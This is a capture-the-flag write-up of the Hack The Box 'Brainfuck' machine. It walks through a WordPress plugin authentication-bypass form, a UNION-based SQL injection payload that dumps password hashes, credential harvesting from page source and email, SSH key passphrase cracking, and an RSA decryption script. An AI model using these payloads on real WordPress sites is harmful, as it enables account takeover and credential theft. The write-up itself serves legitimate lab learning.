Welcome to the Brainfuck writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Brainfuck

tags: HTB Insane Linux OSCP
Platform: Hackthebox
Difficult: Insane
S.O.: Linux

Enumeration

Nmap

To begin, let's see what ports are open.

# nmap -p- -T4 10.10.10.17
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-12 17:21 CET
Nmap scan report for 10.10.10.17
Host is up (0.093s latency).
Not shown: 65530 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
110/tcp open  pop3
143/tcp open  imap
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 90.68 seconds

And now, let's look at them in more depth.

# nmap -A -Pn -p 22,25,110,143,443 10.10.10.17
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-12 17:23 CET
Nmap scan report for 10.10.10.17
Host is up (0.093s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
|   256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_  256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp  open  smtp     Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
110/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) USER PIPELINING AUTH-RESP-CODE TOP RESP-CODES UIDL CAPA
143/tcp open  imap     Dovecot imapd
|_imap-capabilities: IDLE LITERAL+ ENABLE Pre-login post-login LOGIN-REFERRALS listed AUTH=PLAINA0001 have capabilities more OK ID SASL-IR IMAP4rev1
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host:  brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   92.97 ms 10.10.14.1
2   93.15 ms 10.10.10.17

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.51 seconds

Well, in the scan we can see in the line of port 443 that the domains brainfuck.htb and sup3rs3cr3t.brainfuck.htb exists so we are going to add it to the file /etc/hosts and explore it in the browser.

Port 443

brainfuck.htb

Let's check wpsan.

.......................................................................
.......................................................................
[!] Title: WP Support Plus Responsive Ticket System < 8.0.0 – Authenticated SQL Injection
 |     Fixed in: 8.0.0
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/f267d78f-f1e1-4210-92e4-39cce2872757
 |      - https://www.exploit-db.com/exploits/40939/
 |      - https://lenonleite.com.br/en/2016/12/13/wp-support-plus-responsive-ticket-system-wordpress-plugin-sql-injection/
 |      - https://plugins.trac.wordpress.org/changeset/1556644/wp-support-plus-responsive-ticket-system
.......................................................................
.......................................................................
[!] Title: WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation
 |     Fixed in: 8.0.0
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/b1808005-0809-4ac7-92c7-1f65e410ac4f
 |      - https://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html
 |      - https://packetstormsecurity.com/files/140413/
.......................................................................
.......................................................................

Web exploitation

Well, to exploit it, we only need to create an .html file with the following content.

<html>
        <body>
                <form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
                        Username: <input type="text" name="username" value="administrator">
                        <input type="hidden" name="email" value="sth">
                        <input type="hidden" name="action" value="loginGuestFacebook">
                        <input type="submit" value="Login">
                </form>
        </body>
</html>

Serve it with a python http server, access to it, click on Login button and return to the main page https://brainfuck.htb

As administrator we can't make any changes inside wp-admin, let's try with the Authenticated SQL Injection vulnerability to get the password hashes.

The payload is the following incrementing the ID=1 parameter

action=wpsp_getCatName&cat_id=0+UNION+SELECT+1,CONCAT(user_login,CHAR(58),user_pass),3+FROM+wp_users+WHERE+ID=1
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: brainfuck.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/sqli.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
Connection: close
Cookie: wordpress_sec_4a881878556bfa5bb532816568f34de7=administrator%7C1615745365%7CBbQxi0gTMU7wV8rdU8L3XN06Sfo1kDHaSt37UAzXd9O%7C2a2b753091aef1c4c8fa507dba7728763c315c7a069c8b950970f95d92f549b3; wordpress_test_cookie=WP+Cookie+check; wp-settings-time-2=1615572573; wp-settings-time-3=1615572539; wordpress_logged_in_4a881878556bfa5bb532816568f34de7=administrator%7C1615745365%7CBbQxi0gTMU7wV8rdU8L3XN06Sfo1kDHaSt37UAzXd9O%7C70e14b290ce0e5c1780e51b05025c6795831e589d8ac777d35e96fd423bde2a5
Upgrade-Insecure-Requests: 1

action=wpsp_getCatName&cat_id=0+UNION+SELECT+1,CONCAT(user_login,CHAR(58),user_pass),3+FROM+wp_users+WHERE+ID=1
admin:$P$BAQpNTfe4/kWGQ9.j6Aia.Hw.VBs580
administrator:$P$B0YBeOPbWF2FO7HgARwIAJogW8afZe0
orestis:$P$BpRAAR0fpSERO6RKoSfXGS1TvleVvs.

Executing the sql injection, we have been able to see that the user admin exists so, in addition to having the password hashes, we have full access to the Wordpress administration panel using the previous method and from there we can get a shell in case of not breaking any of the hashes to connect by SSH.

30 minutes later...

Shit! we can't upload any pluging, can't write any template and we can't break any hash too! I want my shell! 🤬

At last!! Looking deeper in the administrator panel, we can find the Easy WP SMTP pluging with the orestis mail credentials inside it.

The password is masked but, we can read it in the source code.

<tr class="ad_opt swpsmtp_smtp_options">
    <th>SMTP Password</th>
    <td>
        <input type="password" name="swpsmtp_smtp_password" value="kHGuERB29DNiNE"><br>
        <p class="description">The password to login to your mail server</p>
    </td>
</tr>

Yes! we have got the orestis password kHGuERB29DNiNE. Let's connect with SSH!.

Nooooo the SSH with password is not allowed 😭🤬😭🤬😭🤬

I'm hating the box maker....

Well... let's read the emails...

# telnet 10.10.10.17 110
Trying 10.10.10.17...
Connected to 10.10.10.17.
Escape character is '^]'.
+OK Dovecot ready.
user orestis
+OK
pass kHGuERB29DNiNE
+OK Logged in.
retr 1
+OK 977 octets
Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received: by brainfuck (Postfix, from userid 33)
    id 7150023B32; Mon, 17 Apr 2017 20:15:40 +0300 (EEST)
To: [email protected]
Subject: New WordPress Site
X-PHP-Originating-Script: 33:class-phpmailer.php
Date: Mon, 17 Apr 2017 17:15:40 +0000
From: WordPress <[email protected]>
Message-ID: <[email protected]>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8

Your new WordPress site has been successfully set up at:

https://brainfuck.htb

You can log in to the administrator account with the following information:

Username: admin
Password: The password you chose during the install.
Log in here: https://brainfuck.htb/wp-login.php

We hope you enjoy your new site. Thanks!

--The WordPress Team
https://wordpress.org/
.
retr 2
+OK 514 octets
Return-Path: <[email protected]>
X-Original-To: orestis
Delivered-To: [email protected]
Received: by brainfuck (Postfix, from userid 0)
    id 4227420AEB; Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
To: [email protected]
Subject: Forum Access Details
Message-Id: <[email protected]>
Date: Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
From: [email protected] (root)

Hi there, your credentials for our "secret" forum are below :)

username: orestis
password: kIEnnfEKJ#9UmdO

Regards
.

Omg... now, we need to login inside the sup3rs3cr3t.brainfuck.htb domaing with the new credentials.

Looks like it is encoded with ROT, Vigenere or a Caesar

Well, using this online tool and the phrase Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg :) we can crack the key ckmybrainfu to decode de hidden URL.

There you go you stupid fuck, I hope you remember your key password because I dont :) https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

Ok, it's time to connect by SSH using this SSH key

# ssh [email protected] -i id_rsa
load pubkey "id_rsa": invalid format
Enter passphrase for key 'id_rsa':

NOT YET?? 🤦🏻‍♂️

Let's crack the passphrase...

# ssh2john id_rsa > orestis
# john orestis --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
3poulakia!       (id_rsa)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:02 DONE (2021-03-12 22:44) 0.4219g/s 6051Kp/s 6051Kc/s 6051KC/sa6_123..*7¡Vamos!
Session completed
# ssh [email protected] -i id_rsa
load pubkey "id_rsa": invalid format
Enter passphrase for key 'id_rsa': 3poulakia!
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

You have mail.
Last login: Wed May  3 19:46:00 2017 from 10.10.11.4
[email protected]:~$

WE GOT SSH!! And got the user flag!

[email protected]:~$ cat user.txt
CENSORED_FLAG

Post exploitation

Enumeration

Inside the user's home, we can find these files:

debug.txt
encrypt.sage
output.txt

By reading the source code of encrypt.sage we can see that it is doing RSA encryption.

In this forum we can see a function to decrypt this type of encryption.
Inside the output.txt we can find the root flag encripted, and inside the debug.txt file we can find all the data we need.

Modifing a little the funcion, we can recover the root flag.

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def main():

    p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
    q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
    e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
    ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

    # compute n
    n = p * q

    # Compute phi(n)
    phi = (p - 1) * (q - 1)

    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a

    # Decrypt ciphertext
    pt = pow(ct, d, n)
    text = bytes.fromhex(str(hex(pt)).replace('0x', '')).decode('utf-8')

    print("Root flag: " + text)

if __name__ == "__main__":
    main()
# python3 decrypt.py
Root flag: CENSORED_FLAG